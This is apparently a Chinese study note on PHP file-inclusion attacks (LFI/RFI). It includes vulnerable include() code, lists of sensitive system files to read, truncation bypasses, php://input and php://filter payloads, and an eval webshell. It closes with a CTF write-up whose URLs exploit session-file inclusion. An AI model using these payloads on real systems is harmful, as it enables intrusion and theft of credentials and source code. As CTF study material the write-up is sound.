PHP文件包含漏洞
本地包含漏洞(LFI)
一个phpinfo.txt走天下
<?php
phpinfo();
?>
<?php
include("phpinfo.txt");
?>
只要文件内容复合php语法规范,那么任何扩展名都可以被php解析
包含非php语法规范原文件时,将会暴露其源代码
典型的漏洞代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
filename没有进行过滤,可以被用户控制
这里可以结合目录遍历漏洞查看敏感信息
远程文件包含(RFI)
注:要确定php是否已经开启远程包含功能(默认是关闭)
alow_url_include = On
栗子:
www.text.com根目录存在phpinfo.txt
<?php
include($_GET['a'])
?>
www.text.com?a=http://www.text.com/phpinfo.txt
若文件不存在,也可以通过观察暴露出的警告
敏感文件利用
Windows系统:
文件 | 内容 |
---|---|
C:\boot.ini | 系统版本 |
C:\windows\system32\intetsrv\MetaBase.xml | IIS配置文件 |
C:\windows\repair\sam | 存储Windows系统初次安装的密码 |
C:\Program Files\mysql\my.ini | Mysql配置 |
C:\windows\mysql\data\mysql\user.MYD | Mysql root |
C:\window\php.inis | php配置信息 |
C:\windows\my.ini | Mysql配置文件 |
Unix/Linux系统:
文件 | 内容 |
---|---|
/etc/passwd | |
/usr/local/app/apache/conf/httpd.conf | apache默认配置文件 |
/usr/local/app/apache/conf/extra/httpd-vhosts.conf | 虚拟网站设置 |
/usr/local/app/php5/lib/php.ini | php相关设置 |
/etc/httpd/conf/httpd.conf | apache配置文件 |
/etc/my.cnf | mysql的配置文件 |
远程包含shell
若目标主机allow_url_fopen的选项是激活的,然后包含一句话木马
(1) allow_url_fopen=on(2) allow_url_include=on
?filename=你的远程文件路径
远程文件中的php代码会被解析
绕过限制
<?php
$filename = $_GET['filename'];
include($filename,".html");
?>
%00截断->导致扩展名被截断
(1) magic_quotes_gpc=off(2) PHP<5.3.4
构造超过最大长度限制payload->系统会将后面的路径丢弃,扩展名被截断
Windows下目录的最大路径256BLinux下目录的最大路径长度为4096B
php伪协议
这里列出一些内置伪协议
php://input
代表可以访问请求的原始数据,可以获取到post的数据
index.php?file=php://input
POST:
<? phpinfo(); ?>
利用
遇到file_get_contents()可以利用该协议
file_get_contents("php://input");
POST:xxx
写木马
条件:php中开启allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
POST:
木马
命令执行
POST:
php://filter
一种元封装器,设计用于数据流打开时的筛选过滤应用。
一个常用的payload:
php://filter/read=convert.base64-encode/resource=upload.php
目前遇到的都是这种啦
https://www.php.net/manual/zh/filters.php
file://
读取文件内容
?filename=file://...
包含session
php的session文件保存路径可以在phpinfo中的session.save_path看到,若为空,说明在默认存放位置
命名格式:sess_[PHPSESSID]
1./var/lib/php/sess_PHPSESSID
(php5 or php 7 or php)
2./tmp/sess_PHPSESSID
3./tmp/sessions/sess_PHPSESSID
查看PHPSESSID
F12-Application-Cookies
一个小参考,先记录一些未来可能出现的考点
https://zhuanlan.zhihu.com/p/90879209
利用session文件包含漏洞RCE
当session中的内容可以控制(如传参内容没被过滤,传入的值存储到session中),就可以利用传参的过程获取敏感信息或RCE
NPU-CTF的超简单的php就是这么利用了,由于题目环境没了无法复现,直接干给个wp以作记录
超简单的php
一开始直接Source一把看到了phpinfo.php
里面的flag
当然是
假的!!
根据师傅的提示,从phpinfo中了解到是session包含
这里主要是绕过长度限制
写一个马:
<?Php eval($_GET['a']);?>
<?Php /*
/**/eval($_GET/*
*/['a']);?>
看msg.php可以看到限制的真实数据
这里ban掉了许多许多的命令执行函数,所以只能是php原生文件读取函数
QAQ对php函数实在不熟悉,下次一定
http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=phpinfo();
http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=scandir('\');
http://ha1cyon-ctf.fun:30030/index.bak.php?action=/tmp/sess_l75pf3g48cut7cnumv6d24n5u6&a=var_dump(file_get_contents(''));